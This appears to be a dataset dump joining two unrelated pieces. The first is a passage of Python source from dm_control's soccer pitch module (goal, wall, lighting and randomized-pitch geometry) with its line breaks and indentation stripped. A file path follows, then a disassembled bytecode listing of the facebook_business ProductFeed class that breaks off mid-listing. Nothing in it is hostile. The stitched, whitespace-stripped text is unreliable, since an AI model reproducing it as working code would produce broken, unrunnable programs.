box_half_height + goal_size[2] top_size_z = box_half_height - goal_size[2] wall_offset_x = field_size[0] + thickness wall_offset_y = field_size[1] + thickness return [ ( (0.0, -wall_offset_y, box_half_height), (field_size[0], thickness, box_half_height), ), # near side ( (0.0, wall_offset_y, box_half_height), (field_size[0], thickness, box_half_height), ), # far side ( (-wall_offset_x, -corner_pos_y, box_half_height), (thickness, corner_size_y, box_half_height), ), # left near corner ( (-wall_offset_x, 0.0, top_pos_z), (thickness, goal_size[1], top_size_z), ), # left top corner ( (-wall_offset_x, corner_pos_y, box_half_height), (thickness, corner_size_y, box_half_height), ), # left far corner ( (wall_offset_x, -corner_pos_y, box_half_height), (thickness, corner_size_y, box_half_height), ), # right near corner ( (wall_offset_x, 0.0, top_pos_z), (thickness, goal_size[1], top_size_z), ), # right top corner ( (wall_offset_x, corner_pos_y, box_half_height), (thickness, corner_size_y, box_half_height), ), # right far corner ] def _roof_size(size): return (size[0], size[1], _WALL_THICKNESS) def _reposition_corner_lights(lights, size): """Place four lights at the corner of the pitch.""" mean_size = 0.5 * sum(size) height = mean_size * 2 / 3 counter = 0 for x in [-size[0], size[0]]: for y in [-size[1], size[1]]: position = np.array((x, y, height)) direction = -np.array((x, y, height * 2)) lights[counter].pos = position lights[counter].dir = direction counter += 1 def _goalpost_radius(size): """Compute goal post radius as scaled average goal size.""" return _GOALPOST_RELATIVE_SIZE * sum(size) / 3.0 def _post_radius(goalpost_name, goalpost_radius): """Compute the radius of a specific goalpost.""" radius = goalpost_radius if "top" in goalpost_name: radius *= 1.01 # Prevent z-fighting at the corners. if "support" in goalpost_name: radius *= _SUPPORT_POST_RATIO # Suport posts are a bit narrower. return radius def _goalpost_fromto(unit_fromto, size, pos, direction): """Rotate, scale and translate the `fromto` attribute of a goalpost. The goalposts are defined in the unit cube [-1, 1]**3 using MuJoCo fromto specifier for capsules, they are then flipped according to whether they face in the +x or -x, scaled and moved. Args: unit_fromto: two concatenated 3-vectors in the unit cube in xyzxyz order. size: a 3-vector, scaling of the goal. pos: a 3-vector, goal position. direction: a 3-vector, either (1,1,1) or (-1,-1,1), direction of the goal along the x-axis. Returns: two concatenated 3-vectors, the `fromto` of a goal geom. """ fromto = np.array(unit_fromto) * np.hstack((direction, direction)) return fromto * np.array(size + size) + np.array(pos + pos) class Goal(props.PositionDetector): """Goal for soccer-like games: A PositionDetector with goalposts.""" def _make_net_vertices(self, size=(1, 1, 1)): """Make vertices for the four net meshes by offsetting net polygons.""" thickness = _NET_RELATIVE_SIZE * sum(size) / 3 dx = np.array((thickness / size[0], 0, 0)) dy = np.array((0, thickness / size[1], 0)) dz = np.array((0, 0, thickness / size[2])) top = [v + dz for v in _NET["top"]] + [v - dz for v in _NET["top"]] right = [v + dy for v in _NET["right"]] + [v - dy for v in _NET["right"]] left = [v + dy for v in _NET["left"]] + [v - dy for v in _NET["left"]] back = ( [v + dz for v in _NET["back"] if v[2] == 1] + [v - dz for v in _NET["back"] if v[2] == 1] + [v + dx for v in _NET["back"] if v[2] == -1] + [v - dx for v in _NET["back"] if v[2] == -1] ) vertices = {"top": top, "back": back, "left": left, "right": right} return {key: (val * self._direction).flatten() for key, val in vertices.items()} def _move_goal(self, pos, size): """Translate and scale the goal.""" for geom in self._goal_geoms: unit_fromto = _GOALPOSTS[geom.name] geom.fromto = _goalpost_fromto(unit_fromto, size, pos, self._direction) geom.size = (_post_radius(geom.name, self._goalpost_radius),) if self._make_net: net_vertices = self._make_net_vertices(size) for geom in self._net_geoms: geom.pos = pos geom.mesh.vertex = net_vertices[geom.mesh.name] geom.mesh.scale = size def _build(self, direction, net_rgba=(1, 1, 1, 0.15), make_net=True, **kwargs): """Builds the goalposts and net. Args: direction: Is the goal oriented towards positive or negative x-axis. net_rgba: rgba value of the net geoms. make_net: Where to add net geoms. **kwargs: arguments of PositionDetector superclass, see therein. Raises: ValueError: If either `pos` or `size` arrays are not of length 3. ValueError: If direction in not 1 or -1. """ if len(kwargs["size"]) != 3 or len(kwargs["pos"]) != 3: raise ValueError("Only 3D Goals are supported.") if direction not in [1, -1]: raise ValueError("direction must be either 1 or -1.") self._direction = np.array((direction, direction, 1)) self._make_net = make_net kwargs["visible"] = False super()._build(retain_substep_detections=True, **kwargs) size = kwargs["size"] pos = kwargs["pos"] self._goalpost_radius = _goalpost_radius(size) self._goal_geoms = [] for geom_name, unit_fromto in _GOALPOSTS.items(): geom_fromto = _goalpost_fromto(unit_fromto, size, pos, self._direction) geom_size = (_post_radius(geom_name, self._goalpost_radius),) self._goal_geoms.append( self._mjcf_root.worldbody.add( "geom", type="capsule", name=geom_name, size=geom_size, fromto=geom_fromto, rgba=self.goalpost_rgba, ) ) if self._make_net: net_vertices = self._make_net_vertices() self._net_geoms = [] for name, vertex in net_vertices.items(): mesh = self._mjcf_root.asset.add("mesh", name=name, vertex=vertex) geom = self._mjcf_root.worldbody.add( "geom", type="mesh", mesh=mesh, name=name, rgba=net_rgba, contype=0, conaffinity=0, ) self._net_geoms.append(geom) def resize(self, pos, size): """Call PositionDetector.resize(), move the goal.""" super().resize(pos, size) self._goalpost_radius = _goalpost_radius(size) self._move_goal(pos, size) def set_position(self, physics, pos): """Call PositionDetector.set_position(), move the goal.""" super().set_position(pos) size = 0.5 * (self.upper - self.lower) self._move_goal(pos, size) def _update_detection(self, physics): """Call PositionDetector._update_detection(), then recolor the goalposts.""" super()._update_detection(physics) if self._detected and not self._previously_detected: physics.bind(self._goal_geoms).rgba = self.goalpost_detected_rgba elif self._previously_detected and not self._detected: physics.bind(self._goal_geoms).rgba = self.goalpost_rgba @property def goalpost_rgba(self): """Goalposts are always opaque.""" rgba = self._rgba.copy() rgba[3] = 1 return rgba @property def goalpost_detected_rgba(self): """Goalposts are always opaque.""" detected_rgba = self._detected_rgba.copy() detected_rgba[3] = 1 return detected_rgba class Pitch(composer.Arena): """A pitch with a plane, two goals and a field with position detection.""" def _build( self, size=_DEFAULT_PITCH_SIZE, goal_size=None, top_camera_distance=_TOP_CAMERA_DISTANCE, field_box=False, field_box_offset=0.0, hoarding_color_scheme_id=0, name="pitch", ): """Construct a pitch with walls and position detectors. Args: size: a tuple of (length, width) of the pitch. goal_size: optional (depth, width, height) indicating the goal size. If not specified, the goal size is inferred from pitch size with a fixed default ratio. top_camera_distance: the distance of the top-down camera to the pitch. field_box: adds a "field box" that collides with the ball but not the walkers. field_box_offset: offset for the fieldbox if used. hoarding_color_scheme_id: An integer with value 0, 1, 2, or 3, specifying a preset scheme for the hoarding colors. name: the name of this arena. """ super()._build(name=name) self._size = size self._goal_size = goal_size self._top_camera_distance = top_camera_distance self._hoarding_color_scheme_id = hoarding_color_scheme_id self._top_camera = self._mjcf_root.worldbody.add( "camera", name="top_down", pos=[0, 0, top_camera_distance], zaxis=[0, 0, 1], fovy=_top_down_cam_fovy(self._size, top_camera_distance), ) extent = 0.1 * max(self._size) self._mjcf_root.statistic.extent = extent self._mjcf_root.statistic.center = (0, 0, extent) self._mjcf_root.visual.map.zfar = 50 # 5 pitch lengths self._mjcf_root.visual.map.znear = 0.1 / extent # 10 centimeters self._mjcf_root.asset.add( "texture", name="skybox", type="skybox", builtin="gradient", rgb1=(0.7, 0.9, 0.9), rgb2=(0.03, 0.09, 0.27), width=400, height=400, ) self._corner_lights = [ self._mjcf_root.worldbody.add("light", cutoff=60) for _ in range(4) ] _reposition_corner_lights(self._corner_lights, size) self._mjcf_root.visual.quality.shadowsize = 8192 if len(self._size) != 2: raise ValueError( "`size` should be a sequence of length 2: got {!r}".format(self._size) ) self._field_texture = self._mjcf_root.asset.add( "texture", type="2d", file=_get_texture("pitch_nologo_l"), name="fieldplane" ) self._field_material = self._mjcf_root.asset.add( "material", name="fieldplane", texture=self._field_texture ) self._ground_geom = self._mjcf_root.worldbody.add( "geom", name="ground", type="plane", material=self._field_material, size=list(self._size) + [max(self._size) * _GROUND_GEOM_GRID_RATIO], ) self._walls = [] for wall_pos, wall_xyaxes in _wall_pos_xyaxes(self._size): self._walls.append( self._mjcf_root.worldbody.add( "geom", type="plane", rgba=[0.1, 0.1, 0.1, 0.8], pos=wall_pos, size=[1e-7, 1e-7, 1e-7], xyaxes=wall_xyaxes, ) ) self._fb_offset = field_box_offset if field_box else 0.0 goal_size = self._get_goal_size() self._home_goal = Goal( direction=1, make_net=False, pos=(-self._size[0] + goal_size[0] + self._fb_offset, 0, goal_size[2]), size=goal_size, rgba=(0.2, 0.2, 1, 0.5), visible=True, name="home_goal", ) self.attach(self._home_goal) self._away_goal = Goal( direction=-1, make_net=False, pos=(self._size[0] - goal_size[0] - self._fb_offset, 0, goal_size[2]), size=goal_size, rgba=(1, 0.2, 0.2, 0.5), visible=True, name="away_goal", ) self.attach(self._away_goal) self._field = props.PositionDetector( pos=(0, 0), size=(self._size[0] - 2 * goal_size[0], self._size[1] - 2 * goal_size[0]), inverted=True, visible=False, name="field", ) self.attach(self._field) def _visual_plane(): return self._mjcf_root.worldbody.add( "geom", type="plane", size=(1, 1, 1), rgba=(0.306, 0.682, 0.223, 1), contype=0, conaffinity=0, ) self._perimeter = [_visual_plane() for _ in range(8)] self._update_perimeter() self._field_box = [] if field_box: for box_pos, box_size in _fieldbox_pos_size( (self._field.upper - self._field.lower) / 2.0, goal_size ): self._field_box.append( self._mjcf_root.worldbody.add( "geom", type="box", rgba=[0.3, 0.3, 0.3, 0.0], pos=box_pos, size=box_size, ) ) def _box_site(): return self._mjcf_root.worldbody.add("site", type="box", size=(1, 1, 1)) self._hoarding = [_box_site() for _ in range(4 * _NUM_HOARDING)] self._update_hoarding() def _update_hoarding(self): num_boxes = _NUM_HOARDING counter = 0 for dim in [0, 1]: # Semantics are [x, y] width = self._get_goal_size()[2] / 8 # Eighth of the goal height. height = self._get_goal_size()[2] / 2 # Half of the goal height. length = self._size[dim] if dim == 1: # Stretch the y-dim length in order to cover the corners. length += 2 * width box_size = height * np.ones(3) box_size[dim] = length / num_boxes box_size[1 - dim] = width dim_pos = np.linspace(-length, length, num_boxes, endpoint=False) dim_pos += length / num_boxes # Offset to center. for sign in [-1, 1]: alt_pos = sign * (self._size[1 - dim] * np.ones(num_boxes) + width) dim_alt = (dim_pos, alt_pos) for box in range(num_boxes): box_pos = np.array( (dim_alt[dim][box], dim_alt[1 - dim][box], width) ) if self._hoarding_color_scheme_id == 0: angle = np.pi + np.arctan2(box_pos[0], -np.abs(box_pos[1])) elif self._hoarding_color_scheme_id == 1: angle = np.arctan2(box_pos[0], np.abs(box_pos[1])) elif self._hoarding_color_scheme_id == 2: angle = np.arctan2(box_pos[0], -np.abs(box_pos[1])) elif self._hoarding_color_scheme_id == 3: angle = np.pi + np.arctan2(box_pos[0], np.abs(box_pos[1])) hue = 0.5 + angle / (2 * np.pi) # In [0, 1] hue_offset = 0.25 hue = ( hue - hue_offset ) % 1.0 # Apply offset and wrap back to [0, 1] saturation = 0.7 value = 1.0 col_r, col_g, col_b = colorsys.hsv_to_rgb(hue, saturation, value) self._hoarding[counter].pos = box_pos self._hoarding[counter].size = box_size self._hoarding[counter].rgba = (col_r, col_g, col_b, 1.0) counter += 1 def _update_perimeter(self): width = self._get_goal_size()[0] counter = 0 for x in [-1, 0, 1]: for y in [-1, 0, 1]: if x == 0 and y == 0: continue size_0 = self._size[0] - 2 * width if x == 0 else width size_1 = self._size[1] - 2 * width if y == 0 else width size = [size_0, size_1, max(self._size) * _GROUND_GEOM_GRID_RATIO] pos = (x * (self._size[0] - width), y * (self._size[1] - width), 0) self._perimeter[counter].size = size self._perimeter[counter].pos = pos counter += 1 def _get_goal_size(self): goal_size = self._goal_size if goal_size is None: goal_size = ( _SIDE_WIDTH / 2, self._size[1] * _DEFAULT_GOAL_LENGTH_RATIO, _SIDE_WIDTH / 2, ) return goal_size def register_ball(self, ball): self._home_goal.register_entities(ball) self._away_goal.register_entities(ball) if self._field_box: ball.geom.contype = (ball.geom.contype or 1) | _FIELD_BOX_CONTACT_BIT for wall in self._field_box: wall.conaffinity = _FIELD_BOX_CONTACT_BIT wall.contype = _FIELD_BOX_CONTACT_BIT else: self._field.register_entities(ball) def detected_goal(self): """Returning the team that scored a goal.""" if self._home_goal.detected_entities: return team.Team.AWAY if self._away_goal.detected_entities: return team.Team.HOME return None def detected_off_court(self): return self._field.detected_entities @property def size(self): return self._size @property def home_goal(self): return self._home_goal @property def away_goal(self): return self._away_goal @property def field(self): return self._field @property def ground_geom(self): return self._ground_geom class RandomizedPitch(Pitch): """RandomizedPitch that randomizes its size between (min_size, max_size).""" def __init__( self, min_size, max_size, randomizer=None, keep_aspect_ratio=False, goal_size=None, field_box=False, field_box_offset=0.0, top_camera_distance=_TOP_CAMERA_DISTANCE, name="randomized_pitch", ): """Construct a randomized pitch. Args: min_size: a tuple of minimum (length, width) of the pitch. max_size: a tuple of maximum (length, width) of the pitch. randomizer: a callable that returns ratio between [0., 1.] that scales between min_size, max_size. keep_aspect_ratio: if `True`, keep the aspect ratio constant during randomization. goal_size: optional (depth, width, height) indicating the goal size. If not specified, the goal size is inferred from pitch size with a fixed default ratio. field_box: optional indicating if we should construct field box containing the ball (but not the walkers). field_box_offset: offset for the fieldbox if used. top_camera_distance: the distance of the top-down camera to the pitch. name: the name of this arena. """ super().__init__( size=max_size, goal_size=goal_size, top_camera_distance=top_camera_distance, field_box=field_box, field_box_offset=field_box_offset, name=name, ) self._min_size = min_size self._max_size = max_size self._randomizer = randomizer or distributions.Uniform() self._keep_aspect_ratio = keep_aspect_ratio logging.info( "%s between (%s, %s) with %s", self.__class__.__name__, min_size, max_size, self._randomizer, ) def _resize_goals(self, goal_size): self._home_goal.resize( pos=(-self._size[0] + goal_size[0] + self._fb_offset, 0, goal_size[2]), size=goal_size, ) self._away_goal.resize( pos=(self._size[0] - goal_size[0] - self._fb_offset, 0, goal_size[2]), size=goal_size, ) def initialize_episode_mjcf(self, random_state): super().initialize_episode_mjcf(random_state) min_len, min_wid = self._min_size max_len, max_wid = self._max_size if self._keep_aspect_ratio: len_ratio = self._randomizer(random_state=random_state) wid_ratio = len_ratio else: len_ratio = self._randomizer(random_state=random_state) wid_ratio = self._randomizer(random_state=random_state) self._size = ( min_len + len_ratio * (max_len - min_len), min_wid + wid_ratio * (max_wid - min_wid), ) self._top_camera.fovy = _top_down_cam_fovy( self._size, self._top_camera_distance ) self._update_perimeter() for i, (wall_pos, _) in enumerate(_wall_pos_xyaxes(self._size)): self._walls[i].pos = wall_pos goal_size = self._get_goal_size() self._resize_goals(goal_size) field_size = ( self._size[0] - 2 * goal_size[0], self._size[1] - 2 * goal_size[0], ) self._field.resize(pos=(0, 0), size=field_size) self._ground_geom.size = list(field_size) + [ max(self._size) * _GROUND_GEOM_GRID_RATIO ] if self._field_box: for i, (pos, size) in enumerate( _fieldbox_pos_size( (self._field.upper - self._field.lower) / 2.0, goal_size ) ): self._field_box[i].pos = pos self._field_box[i].size = size _reposition_corner_lights( self._corner_lights, size=(self._size[0] - 2 * goal_size[0], self._size[1] - 2 * goal_size[0]), ) self._update_hoarding() _GOAL_LENGTH = 3.66 _GOAL_SIDE = 1.22 MINI_FOOTBALL_MIN_AREA_PER_HUMANOID = 100.0 MINI_FOOTBALL_MAX_AREA_PER_HUMANOID = 350.0 MINI_FOOTBALL_GOAL_SIZE = (_GOAL_SIDE / 2, _GOAL_LENGTH / 2, _GOAL_SIDE / 2)
data/dm_control-1.0.16/dm_control/locomotion/soccer/pitch.py
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LOAD_CONST 0 LOAD_CONST ('AbstractObject',) IMPORT_NAME facebook_business.adobjects.abstractobject IMPORT_FROM AbstractObject STORE_NAME AbstractObject POP_TOP LOAD_CONST 0 LOAD_CONST ('AbstractCrudObject',) IMPORT_NAME facebook_business.adobjects.abstractcrudobject IMPORT_FROM AbstractCrudObject STORE_NAME AbstractCrudObject POP_TOP LOAD_CONST 0 LOAD_CONST ('ObjectParser',) IMPORT_NAME facebook_business.adobjects.objectparser IMPORT_FROM ObjectParser STORE_NAME ObjectParser POP_TOP LOAD_CONST 0 LOAD_CONST ('FacebookRequest',) IMPORT_NAME facebook_business.api IMPORT_FROM FacebookRequest STORE_NAME FacebookRequest POP_TOP LOAD_CONST 0 LOAD_CONST ('TypeChecker',) IMPORT_NAME facebook_business.typechecker IMPORT_FROM TypeChecker STORE_NAME TypeChecker POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object ProductFeed at 0x7fab8231b270, file "f.py", line 16> LOAD_CONST 'ProductFeed' MAKE_FUNCTION LOAD_CONST 'ProductFeed' LOAD_NAME AbstractCrudObject CALL_FUNCTION STORE_NAME ProductFeed LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed' STORE_NAME __qualname__ LOAD_CONST (None, None, None) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fadb5811c00, file "f.py", line 19> LOAD_CONST 'ProductFeed.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_BUILD_CLASS LOAD_CONST <code object Field at 0x7fab81f3bf60, file "f.py", line 23> LOAD_CONST 'Field' MAKE_FUNCTION LOAD_CONST 'Field' LOAD_NAME AbstractObject LOAD_ATTR Field CALL_FUNCTION STORE_NAME Field LOAD_BUILD_CLASS LOAD_CONST <code object Delimiter at 0x7fab81f3b540, file "f.py", line 50> LOAD_CONST 'Delimiter' MAKE_FUNCTION LOAD_CONST 'Delimiter' CALL_FUNCTION STORE_NAME Delimiter LOAD_BUILD_CLASS LOAD_CONST <code object IngestionSourceType at 0x7fab81f3b270, file "f.py", line 58> LOAD_CONST 'IngestionSourceType' MAKE_FUNCTION LOAD_CONST 'IngestionSourceType' CALL_FUNCTION STORE_NAME IngestionSourceType LOAD_BUILD_CLASS LOAD_CONST <code object QuotedFieldsMode at 0x7fab81f3bed0, file "f.py", line 62> LOAD_CONST 'QuotedFieldsMode' MAKE_FUNCTION LOAD_CONST 'QuotedFieldsMode' CALL_FUNCTION STORE_NAME QuotedFieldsMode LOAD_BUILD_CLASS LOAD_CONST <code object Encoding at 0x7fab81f3b6f0, file "f.py", line 67> LOAD_CONST 'Encoding' MAKE_FUNCTION LOAD_CONST 'Encoding' CALL_FUNCTION STORE_NAME Encoding LOAD_BUILD_CLASS LOAD_CONST <code object FeedType at 0x7fab81f3b4b0, file "f.py", line 76> LOAD_CONST 'FeedType' MAKE_FUNCTION LOAD_CONST 'FeedType' CALL_FUNCTION STORE_NAME FeedType LOAD_BUILD_CLASS LOAD_CONST <code object ItemSubType at 0x7fab81f3b780, file "f.py", line 91> LOAD_CONST 'ItemSubType' MAKE_FUNCTION LOAD_CONST 'ItemSubType' CALL_FUNCTION STORE_NAME ItemSubType LOAD_BUILD_CLASS LOAD_CONST <code object OverrideType at 0x7fab81f3b150, file "f.py", line 119> LOAD_CONST 'OverrideType' MAKE_FUNCTION LOAD_CONST 'OverrideType' CALL_FUNCTION STORE_NAME OverrideType LOAD_NAME classmethod LOAD_CONST <code object get_endpoint at 0x7fab81f3b0c0, file "f.py", line 128> LOAD_CONST 'ProductFeed.get_endpoint' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_endpoint LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object api_create at 0x7fab81f3bb70, file "f.py", line 132> LOAD_CONST 'ProductFeed.api_create' MAKE_FUNCTION STORE_NAME api_create LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object api_delete at 0x7fab81f3b390, file "f.py", line 148> LOAD_CONST 'ProductFeed.api_delete' MAKE_FUNCTION STORE_NAME api_delete LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object api_get at 0x7fab81f3b030, file "f.py", line 187> LOAD_CONST 'ProductFeed.api_get' MAKE_FUNCTION STORE_NAME api_get LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object api_update at 0x7fab81f3bdb0, file "f.py", line 226> LOAD_CONST 'ProductFeed.api_update' MAKE_FUNCTION STORE_NAME api_update LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_automotive_models at 0x7fab81f3bae0, file "f.py", line 279> LOAD_CONST 'ProductFeed.get_automotive_models' MAKE_FUNCTION STORE_NAME get_automotive_models LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_destinations at 0x7fab81f3b420, file "f.py", line 323> LOAD_CONST 'ProductFeed.get_destinations' MAKE_FUNCTION STORE_NAME get_destinations LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_flights at 0x7fab81f3be40, file "f.py", line 367> LOAD_CONST 'ProductFeed.get_flights' MAKE_FUNCTION STORE_NAME get_flights LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_home_listings at 0x7fab81f3b8a0, file "f.py", line 411> LOAD_CONST 'ProductFeed.get_home_listings' MAKE_FUNCTION STORE_NAME get_home_listings LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_hotels at 0x7fab81f3bc00, file "f.py", line 455> LOAD_CONST 'ProductFeed.get_hotels' MAKE_FUNCTION STORE_NAME get_hotels LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_media_titles at 0x7fab8231ba50, file "f.py", line 499> LOAD_CONST 'ProductFeed.get_media_titles' MAKE_FUNCTION STORE_NAME get_media_titles LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_products at 0x7fab8231b030, file "f.py", line 543> LOAD_CONST 'ProductFeed.get_products' MAKE_FUNCTION STORE_NAME get_products LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_rules at 0x7fab8231bdb0, file "f.py", line 592> LOAD_CONST 'ProductFeed.get_rules' MAKE_FUNCTION STORE_NAME get_rules LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object create_rule at 0x7fab8231b5d0, file "f.py", line 633> LOAD_CONST 'ProductFeed.create_rule' MAKE_FUNCTION STORE_NAME create_rule LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object create_supplementary_feed_assoc at 0x7fab8231b810, file "f.py", line 680> LOAD_CONST 'ProductFeed.create_supplementary_feed_assoc' MAKE_FUNCTION STORE_NAME create_supplementary_feed_assoc LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_upload_schedules at 0x7fab8231b150, file "f.py", line 723> LOAD_CONST 'ProductFeed.get_upload_schedules' MAKE_FUNCTION STORE_NAME get_upload_schedules LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object create_upload_schedule at 0x7fab8231bc90, file "f.py", line 766> LOAD_CONST 'ProductFeed.create_upload_schedule' MAKE_FUNCTION STORE_NAME create_upload_schedule LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_uploads at 0x7fab8231b300, file "f.py", line 807> LOAD_CONST 'ProductFeed.get_uploads' MAKE_FUNCTION STORE_NAME get_uploads LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object create_upload at 0x7fab8231b540, file "f.py", line 848> LOAD_CONST 'ProductFeed.create_upload' MAKE_FUNCTION STORE_NAME create_upload LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_vehicle_offers at 0x7fab8231b660, file "f.py", line 896> LOAD_CONST 'ProductFeed.get_vehicle_offers' MAKE_FUNCTION STORE_NAME get_vehicle_offers LOAD_CONST (None, None, None, None, None, False) LOAD_CONST <code object get_vehicles at 0x7fab8231bed0, file "f.py", line 940> LOAD_CONST 'ProductFeed.get_vehicles' MAKE_FUNCTION STORE_NAME get_vehicles LOAD_CONST 'string' LOAD_CONST 'datetime' LOAD_CONST 'string' LOAD_CONST 'bool' LOAD_CONST 'Delimiter' LOAD_CONST 'string' LOAD_CONST 'string' LOAD_CONST 'string' LOAD_CONST 'IngestionSourceType' LOAD_CONST 'string' LOAD_CONST 'ProductFeedUpload' LOAD_CONST 'string' LOAD_CONST 'string' LOAD_CONST 'string' LOAD_CONST 'list<string>' LOAD_CONST 'int' LOAD_CONST 'QuotedFieldsMode' LOAD_CONST 'ProductFeedSchedule' LOAD_CONST 'list<string>' LOAD_CONST 'ProductFeedSchedule' LOAD_CONST 'FeedType' LOAD_CONST 'string' LOAD_CONST 'list<string>' LOAD_CONST 'list<string>' LOAD_CONST 'list<string>' LOAD_CONST ('country', 'created_time', 'default_currency', 'deletion_enabled', 'delimiter', 'encoding', 'file_name', 'id', 'ingestion_source_type', 'item_sub_type', 'latest_upload', 'migrated_from_feed_id', 'name', 'override_type', 'primary_feeds', 'product_count', 'quoted_fields_mode', 'schedule', 'supplementary_feeds', 'update_schedule', 'feed_type', 'override_value', 'primary_feed_ids', 'rules', 'selected_override_fields') BUILD_CONST_KEY_MAP STORE_NAME _field_types LOAD_NAME classmethod LOAD_CONST <code object _get_field_enum_info at 0x7fab8231be40, file "f.py", line 1012> LOAD_CONST 'ProductFeed._get_field_enum_info' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_field_enum_info LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST True LOAD_FAST self STORE_ATTR _isProductFeed LOAD_GLOBAL super LOAD_GLOBAL ProductFeed LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST fbid LOAD_FAST parent_id LOAD_FAST api CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.Field' STORE_NAME __qualname__ LOAD_CONST 'country' STORE_NAME country LOAD_CONST 'created_time' STORE_NAME created_time LOAD_CONST 'default_currency' STORE_NAME default_currency LOAD_CONST 'deletion_enabled' STORE_NAME deletion_enabled LOAD_CONST 'delimiter' STORE_NAME delimiter LOAD_CONST 'encoding' STORE_NAME encoding LOAD_CONST 'file_name' STORE_NAME file_name LOAD_CONST 'id' STORE_NAME id LOAD_CONST 'ingestion_source_type' STORE_NAME ingestion_source_type LOAD_CONST 'item_sub_type' STORE_NAME item_sub_type LOAD_CONST 'latest_upload' STORE_NAME latest_upload LOAD_CONST 'migrated_from_feed_id' STORE_NAME migrated_from_feed_id LOAD_CONST 'name' STORE_NAME name LOAD_CONST 'override_type' STORE_NAME override_type LOAD_CONST 'primary_feeds' STORE_NAME primary_feeds LOAD_CONST 'product_count' STORE_NAME product_count LOAD_CONST 'quoted_fields_mode' STORE_NAME quoted_fields_mode LOAD_CONST 'schedule' STORE_NAME schedule LOAD_CONST 'supplementary_feeds' STORE_NAME supplementary_feeds LOAD_CONST 'update_schedule' STORE_NAME update_schedule LOAD_CONST 'feed_type' STORE_NAME feed_type LOAD_CONST 'override_value' STORE_NAME override_value LOAD_CONST 'primary_feed_ids' STORE_NAME primary_feed_ids LOAD_CONST 'rules' STORE_NAME rules LOAD_CONST 'selected_override_fields' STORE_NAME selected_override_fields LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.Delimiter' STORE_NAME __qualname__ LOAD_CONST 'AUTODETECT' STORE_NAME autodetect LOAD_CONST 'BAR' STORE_NAME bar LOAD_CONST 'COMMA' STORE_NAME comma LOAD_CONST 'SEMICOLON' STORE_NAME semicolon LOAD_CONST 'TAB' STORE_NAME tab LOAD_CONST 'TILDE' STORE_NAME tilde LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.IngestionSourceType' STORE_NAME __qualname__ LOAD_CONST 'primary_feed' STORE_NAME primary_feed LOAD_CONST 'supplementary_feed' STORE_NAME supplementary_feed LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.QuotedFieldsMode' STORE_NAME __qualname__ LOAD_CONST 'AUTODETECT' STORE_NAME autodetect LOAD_CONST 'OFF' STORE_NAME off LOAD_CONST 'ON' STORE_NAME on LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.Encoding' STORE_NAME __qualname__ LOAD_CONST 'AUTODETECT' STORE_NAME autodetect LOAD_CONST 'LATIN1' STORE_NAME latin1 LOAD_CONST 'UTF16BE' STORE_NAME utf16be LOAD_CONST 'UTF16LE' STORE_NAME utf16le LOAD_CONST 'UTF32BE' STORE_NAME utf32be LOAD_CONST 'UTF32LE' STORE_NAME utf32le LOAD_CONST 'UTF8' STORE_NAME utf8 LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.FeedType' STORE_NAME __qualname__ LOAD_CONST 'AUTOMOTIVE_MODEL' STORE_NAME automotive_model LOAD_CONST 'DESTINATION' STORE_NAME destination LOAD_CONST 'FLIGHT' STORE_NAME flight LOAD_CONST 'HOME_LISTING' STORE_NAME home_listing LOAD_CONST 'HOTEL' STORE_NAME hotel LOAD_CONST 'HOTEL_ROOM' STORE_NAME hotel_room LOAD_CONST 'LOCAL_INVENTORY' STORE_NAME local_inventory LOAD_CONST 'MEDIA_TITLE' STORE_NAME media_title LOAD_CONST 'OFFER' STORE_NAME offer LOAD_CONST 'PRODUCTS' STORE_NAME products LOAD_CONST 'TRANSACTABLE_ITEMS' STORE_NAME transactable_items LOAD_CONST 'VEHICLES' STORE_NAME vehicles LOAD_CONST 'VEHICLE_OFFER' STORE_NAME vehicle_offer LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProductFeed.ItemSubType' STORE_NAME __qualname__ LOAD_CONST 'APPLIANCES' STORE_NAME appliances LOAD_CONST 'BABY_FEEDING' STORE_NAME baby_feeding LOAD_CONST 'BABY_TRANSPORT' STORE_NAME baby_transport LOAD_CONST 'BEAUTY' STORE_NAME beauty LOAD_CONST 'BEDDING' STORE_NAME bedding LOAD_CONST 'CAMERAS' STORE_NAME cameras LOAD_CONST 